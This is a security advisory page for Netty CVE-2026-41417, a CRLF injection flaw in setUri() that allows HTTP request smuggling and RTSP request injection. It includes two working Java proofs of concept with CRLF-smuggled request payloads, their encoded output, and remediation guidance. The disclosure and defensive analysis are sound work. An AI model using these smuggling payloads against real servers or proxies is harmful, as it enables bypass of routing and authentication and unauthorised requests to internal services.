Skip to main content

Netty CVE-2026-41417

MEDIUM
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-05-05 https://github.com/netty/netty
5.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
SUSE
MEDIUM
qualitative
Red Hat
6.5 MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 05, 2026 - 19:02 vuln.today
Analysis Generated
May 05, 2026 - 19:02 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 11 maven packages depend on io.netty:netty-codec-http (11 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

DescriptionGitHub Advisory

Summary

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().

The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.

In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.

Details

The root issue is that URI validation exists only on the constructor path, but not on the public setter path.

  • io.netty.handler.codec.http.DefaultHttpRequest
  • The constructor calls HttpUtil.validateRequestLineTokens(method, uri)
  • setUri(String uri) only performs checkNotNull and does not validate
  • io.netty.handler.codec.http.DefaultFullHttpRequest
  • setUri(String uri) delegates to the parent implementation
  • io.netty.handler.codec.http.HttpRequestEncoder
  • Writes request.uri() directly into the request line
  • io.netty.handler.codec.rtsp.RtspEncoder
  • Writes request.uri() directly into the request line

This creates the following bypass:

  1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI
  2. Later, attacker-influenced input is passed into setUri()
  3. HttpRequestEncoder or RtspEncoder encodes that value verbatim
  4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests

This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.

PoC (HTTP)

The following code first creates a normal request object and then injects a malicious request line using setUri().

java
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;

public final class HttpSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());

        DefaultHttpRequest request = new DefaultHttpRequest(
                HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");

        request.setUri("/s1 HTTP/1.1\r\n" +
                "\r\n" +
                "POST /s2 HTTP/1.1\r\n" +
                "content-length: 11\r\n\r\n" +
                "Hello World" +
                "GET /s1");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by HttpServerCodec ===");
        server.writeInbound(outbound.retainedDuplicate());

        Object msg;
        while ((msg = server.readInbound()) != null) {
            System.out.println(msg);
        }

        outbound.release();
        client.finishAndReleaseAll();
        server.finishAndReleaseAll();
    }
}

When reproduced, the raw encoded request looks like this:

http
GET /s1 HTTP/1.1

POST /s2 HTTP/1.1
content-length: 11

Hello WorldGET /s1 HTTP/1.1

HttpServerCodec then parses this as multiple HTTP messages rather than a single request:

  • GET /s1
  • POST /s2 with body Hello World
  • trailing GET /s1

This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.

PoC (RTSP)

The same root cause also affects RtspEncoder. A minimal reproduction is shown below.

java
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;

public final class RtspSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());

        DefaultHttpRequest request = new DefaultHttpRequest(
                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");

        request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
                "CSeq: 1\r\n\r\n" +
                "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
                "CSeq: 2\r\n\r\n" +
                "OPTIONS rtsp://cam/final");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded RTSP request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by RtspDecoder ===");
        server.writeInbound(outbound.retainedDuplicate());
    }
}

When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:

text
OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1

DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2

OPTIONS rtsp://cam/final RTSP/1.0

RtspDecoder then parses this as three separate RTSP requests:

  • OPTIONS rtsp://cam/stream
  • DESCRIBE rtsp://cam/secret
  • OPTIONS rtsp://cam/final

This confirms that the same setter bypass is exploitable for RTSP request injection as well.

Impact

The vulnerable conditions are:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest
  • The request object is created first and later modified through setUri()
  • The value passed into setUri() is attacker-controlled or attacker-influenced
  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder

Under those conditions, an attacker may be able to:

  • perform HTTP request smuggling
  • trigger proxy/backend desynchronization
  • inject additional requests toward internal APIs
  • confuse request boundaries and bypass assumptions around authentication or routing
  • inject RTSP requests

The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.

Root Cause

Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.

As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.

Suggested Fix Direction

DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.

Recommended regression coverage:

  • verify that setUri() rejects CRLF-containing input after object construction
  • verify that DefaultFullHttpRequest.setUri() is blocked as well
  • verify that spaces, \r, \n, and request-smuggling payloads are rejected
  • verify that both HttpRequestEncoder and RtspEncoder are protected from setter-based bypasses

Affected Area

  • netty-codec-http
  • io.netty.handler.codec.http.DefaultHttpRequest
  • io.netty.handler.codec.http.DefaultFullHttpRequest
  • io.netty.handler.codec.http.HttpRequestEncoder
  • io.netty.handler.codec.rtsp.RtspEncoder

AnalysisAI

HTTP request smuggling and RTSP request injection in Netty arise from incomplete input validation in DefaultHttpRequest and DefaultFullHttpRequest. When these objects are created with a safe URI and later modified via setUri() with attacker-controlled input, the setUri() method bypasses CRLF validation that is enforced in constructors. HttpRequestEncoder and RtspEncoder then serialize the malicious URI directly into request lines, allowing attackers to inject additional HTTP or RTSP requests. Vendor-released patches: 4.1.133.Final and 4.2.13.Final address the vulnerability by applying consistent validation in setUri().

Technical ContextAI

Netty is a Java networking framework that provides high-level abstractions over Java NIO, including HTTP and RTSP codec implementations. The vulnerability stems from a validation asymmetry in io.netty.handler.codec.http.DefaultHttpRequest and io.netty.handler.codec.http.DefaultFullHttpRequest. The constructors invoke HttpUtil.validateRequestLineTokens() to reject CRLF (carriage return and line feed) and whitespace characters that would violate HTTP/RTSP start-line syntax (RFC 7230 for HTTP, RFC 2326 for RTSP). However, the public setUri(String) mutator method performs only a null check and omits this validation. When HttpRequestEncoder or RtspEncoder processes the request object, both encoders write the raw URI value directly into the serialized request line without revalidation. This creates a gadget chain: safe construction → unsafe mutation → unsanitized serialization. The root cause is classified as CWE-93 (Improper Neutralization of CRLF Sequences in HTTP Headers), a request injection vulnerability pattern.

RemediationAI

Vendor-released patch: upgrade to Netty 4.1.133.Final (for 4.1.x branch) or 4.2.13.Final (for 4.2.x branch) or later. These versions add request-line token validation to the setUri() method in DefaultHttpRequest and DefaultFullHttpRequest, matching the validation already present in constructors. Patch availability confirmed via https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv. If immediate patching is not feasible, implement compensating controls: (1) Sanitize all external input before passing to setUri()-reject or encode any input containing CRLF sequences (\r, \n), carriage returns, or other HTTP whitespace control characters. This requires application-level filtering because the framework will not validate at serialization time. (2) Disable dynamic URI reassignment-if the application logic permits, construct DefaultHttpRequest objects with final URIs in the constructor rather than modifying them post-instantiation, since constructor validation is functional. (3) Deploy a WAF or reverse proxy with request smuggling detection to identify anomalous request boundaries on the network boundary; this mitigates the downstream impact of injected requests but does not block the attack at the source. Note: compensating controls are fragile because developers may not consistently apply input filtering; patching is strongly preferred.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Module for Development Tools 15 SP7 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP7 Fixed
SUSE Linux Enterprise Server 15 SP7 Fixed

Share

CVE-2026-41417 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy